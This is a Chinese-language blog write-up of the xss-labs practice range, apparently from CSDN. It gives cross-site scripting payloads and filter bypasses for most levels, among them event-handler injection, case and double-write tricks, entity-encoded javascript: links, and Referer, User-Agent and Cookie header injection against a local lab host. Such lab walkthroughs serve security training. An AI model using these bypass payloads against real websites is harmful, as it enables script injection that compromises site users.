xss-labs靶场全关通关

1、level-1

1、输入,发现会将我们输入的内容显示:

2、若未做任何过滤就进行输出,那我们就可以嵌入js代码,执行js脚本:

 输入:<script>alert('111')</script>

<script></script>:是声明里面是js脚本

alert:触发弹框

 过关

3、代码:

2、level-2

1、同样我们输入<script>alert('111')</script>试试,发现没成功,我们右键看看源码:

所以我们利用就是下面,但是要进行双引号闭合

2、给出payload:

"><script>alert('111')</script><"

这样还是将js代码嵌入html中:

 过关

3、代码分析:

 htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &amp;
  • " (双引号)成为 &quot;
  • ' (单引号)成为 '
  • < (小于)成为 &lt;
  • > (大于)成为 &gt;

3、level-3(绕过实体化)

1、输入: <script>alert('111')</script>试试:

发现两处都做了特殊字符转实体,所以我们要绕过这个

2、 我们可以用事件onfocus:

onfocus: onfocus 事件在对象获得焦点时发生。 Onfocus 通常用于 <input>, <select>, 和<a>.(即我们选中这个标签时,就会触发该事件)

这里是嵌入在指定标签中的,此处我们要进行单引号闭合(刚好单引号转为实体也为') ,所以我们的payload为:

' onfoucs=alert('aaa') '

 再点击一下输入框:

过关

3、代码:

 4、level-4

1、输入<script>alert('111')</script>:

2、根据以上特性我们还可以用上面的方法绕过,但这里是双引号闭合:

 " οnfοcus=alert(111) "

 过关

3、代码:

5、level-5

1、代码分析:

 2、我们输入:

">aaaaaaaa

发现可以闭合前面的标签,那我们可以直接嵌入自己的标签

3、输入

"> <a href="javascript:alert('xss');">xss</a>

我们点击a标签的链接就会触发js代码

 点击链接:

过关 

6、level-6(大小写绕过)

1、这里关过滤了很多:

但是这里我们可以通过大小写来绕过

2、payload:

"><ScRipt>alert(111)</Script> 

 过关

7、level-7(双写绕过)

1、输入<script>alert('111')</script>:

2、所以我们可以利用双写绕过:

"><scscriptript>alert('111')</scrscriptipt>

 过关

3、代码:

8、level-8(利用a标签的href会进行自动的unicode解码)

 1、代码分析:

这里过滤了很多,并且由于过滤了双引号所以也不能进行闭合;

2、这里有个知识点,即a标签的href会进行自动的unicode解码,所以我们可硬通过这个进行绕过:在线Unicode编码解码 - 码工具 (matools.com)

javascript:alert()

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

 输入之后点击链接:

 9、level-9(标签内的注释)

1、分析代码:

 strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。未找到范围false

2、所以只要我们输入的链接存在http://即可,但是得把他注释掉:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

 或者用<!-- -->注释:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;<!--http://-->

10、level-10

1、测试过滤了啥:

<>"'script onclick

发现将"<"、">"和双引号进行了实体化

2、看源码发现有隐藏标签:

我们可以测试哪个标签可以被更改为不隐藏:

aa" onfocus=alert(111) type="text">

 

发现第三个可以修改

3、 点击那个框:

4、代码分析:

11、level-11

 1、同样测试一下:

<>"'script onclick

同样实体化了"<"、">"和双引号

2、看源码,发现也存在隐藏标签:

同样参数t_sort可以输入内容,但是也进行了实体化处理;

我们看到t_ref这里是referer所以我们可以通过修改referer进行触发xss漏洞

3、改包:

 将数据包放包到页面上:

4、代码分析:

 12、level-12

1、本关也是隐藏标签:

可以看到将UA拼接上去了,所以我们可以修改UA进行触发xss

2、 测试:

加入payload:

: " οnfοcus=alert(111) type="text">// 

也是修改数据包之后放包即可:
 13、level-13

1、本关也是隐藏标签:

我们抓包:

 

所以Cookie可以控制第四个参数的值,

2、所以,我们抓包修改Cookie:

放包点击即可触发xss:

 14、level-14(ng-include)

网站打不开

15、level-15

1、本关主要考点是ng-include:

注意:1、地址外面得加单引号括起来 

           2、不执行script里面的代码

2、所以我们可以包含一下第一关的文件:

http://192.168.80.128/xss-labs/level15.php?src='./level1.php'

3、由于不执行script里面的代码,所以我们可以用其他方法来触发level1.php中的xss漏洞:

http://192.168.80.128/xss-labs/level15.php?src='./level1.php?name=<img src="x" οnerrοr=alert(1)>' 

 16、level-16(空格过滤)

1、本题源码:

 将黑名单里面的转为实体化的空格

2、所以我们要绕过空格,并且由于"/"被过滤,那么我们必须选择一个不需要闭合的标签,我们可以通过回车符来绕过空格过滤:

<img%0asrc="x"%0aοnerrοr=alert(1)>

其实空格过滤也可采用"/"来绕过:

<img/src="x"/οnerrοr=alert("xss");>

但是,此处"/"也被过滤了

 17、level-17

1、本关发现是利用embed标签:

可以看到是嵌入文件的标签 

2、我们看html代码:

 发现是想引入swf文件,并传入参数

注:我们用谷歌访问:

3、所以我们可以嵌入onmousedown事件来触发xss

http://192.168.80.128/xss-labs/level17.php?arg01=a&arg02=b%20οnmοusedοwn=%27alert(1)%27

点击中间:

 18、level-18

同level-17

 

  • 19
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值